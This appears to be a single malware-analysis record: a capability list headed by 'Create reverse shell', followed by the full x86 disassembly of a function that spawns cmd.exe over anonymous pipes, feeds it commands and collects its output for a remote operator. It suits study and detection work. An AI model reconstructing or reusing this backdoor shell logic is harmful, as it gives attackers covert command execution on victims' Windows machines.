Function at 0x4025e0
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
sub esp, 0x28
push esi
mov esi, dword [esp + 0x30]
cmp byte [esi], 0
mov byte [esp + 7], 0
jne 0x402683
mov eax, dword [0x413dcc]
test eax, eax
je 0x40267c
push eax
push 0
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x402617
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, dword [0x413d68]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call esi
mov ecx, dword [0x413d6c]
push ecx
call esi
mov edx, dword [0x413d70]
push edx
call esi
mov eax, dword [0x413d74]
push eax
call esi
or eax, 0xffffffff
mov dword [0x413d74], eax
mov dword [0x413d70], eax
mov dword [0x413d6c], eax
mov dword [0x413d68], eax
xor eax, eax
push 0x44
push eax
push 0x413d80
mov dword [0x413dc4], eax
mov dword [0x413dc8], eax
mov dword [0x413dcc], eax
mov dword [0x413dd0], eax
call fcn.00403910
add esp, 0xc
mov al, 1
pop esi
add esp, 0x28
ret
push ebx
push ebp
xor ebp, ebp
cmp dword [0x413dcc], ebp
push edi
mov edi, 1
jne 0x40275e
mov ebx, dword [sym.imp.KERNEL32.dll_CreatePipe]
xor eax, eax
push ebp
lea ecx, [esp + 0x24]
push ecx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov eax, 0xc
push 0x413d74
push 0x413d68
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ebp
mov dword [esp + 0x38], edi
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], ebp
mov dword [esp + 0x44], edi
call ebx
test eax, eax
je 0x40274f
push ebp
lea edx, [esp + 0x30]
push edx
push 0x413d6c
push 0x413d70
call ebx
test eax, eax
je 0x40274f
push 0x413d80
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [0x413d68]
push 0x413dc4
push 0x413d80
push ebp
push ebp
push ebp
push edi
push ebp
push ebp
mov dword [0x413db8], eax
mov eax, dword [0x413d6c]
push ebp
push str.C:windows_system32cmd.exe
mov dword [0x413dac], 0x101
mov dword [0x413dc0], eax
mov dword [0x413dbc], eax
mov word [0x413db0], bp
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x402759
pop edi
pop ebp
pop ebx
xor al, al
pop esi
add esp, 0x28
ret
mov byte [esp + 0x13], 1
push esi
push esi
call fcn.004018e0
mov eax, esi
add esp, 8
mov dword [esp + 0x18], ebp
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x402771
push ebp
lea ecx, [esp + 0x1c]
push ecx
sub eax, edx
mov edx, dword [0x413d74]
push eax
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push edx
call esi
mov ecx, dword [0x413d74]
push ebp
lea eax, [esp + 0x1c]
push eax
push 2
push 0x40f310
push ecx
call esi
push 0x100000
call fcn.00403e92
push 0x100000
mov ebx, eax
push ebp
push ebx
mov dword [esp + 0x2c], ebx
call fcn.00403910
add esp, 0x10
cmp byte [esp + 0x13], 0
je 0x4027fc
mov edx, dword [0x413dcc]
push edx
push str.Create_Child_Cmd.exe_Process_Succeed__nChild_ProcessId_is__d_n
push ebx
call fcn.00403b50
mov ebp, ebx
add esp, 0xc
lea ecx, [ebp + 1]
lea esp, [esp]
mov al, byte [ebp]
add ebp, 1
test al, al
jne 0x4027f0
sub ebp, ecx
mov dword [esp + 0x3c], edi
mov dword [esp + 0x14], 0
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [esp + 0x3c], 0
jne 0x402825
cmp dword [esp + 0x14], 0
je 0x4028af
cmp ebp, 0xff800
jae 0x4028af
mov ecx, dword [0x413d70]
push 0
push 0
lea eax, [esp + 0x44]
push eax
mov esi, 0x100000
sub esi, ebp
push esi
lea edi, [ebx + ebp]
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov eax, dword [esp + 0x3c]
test eax, eax
jne 0x40286b
cmp dword [esp + 0x14], eax
jne 0x4028af
mov dword [esp + 0x14], 1
jmp 0x402808
push 1
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [0x413d70]
push 0
lea edx, [esp + 0x40]
push edx
push esi
push edi
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x402894
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 1
add ebp, ebx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ebx, dword [esp + 0x1c]
jmp 0x402813
push ebx
push ebx
call fcn.00401870
mov eax, ebx
add esp, 8
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x4028c0
push 8
sub eax, edx
push 0x413d34
add eax, 0xa
push eax
push ebx
call fcn.004019c0
push ebx
movzx esi, al
call fcn.00404267
add esp, 0x14
pop edi
pop ebp
test esi, esi
pop ebx
setne al
pop esi
add esp, 0x28
ret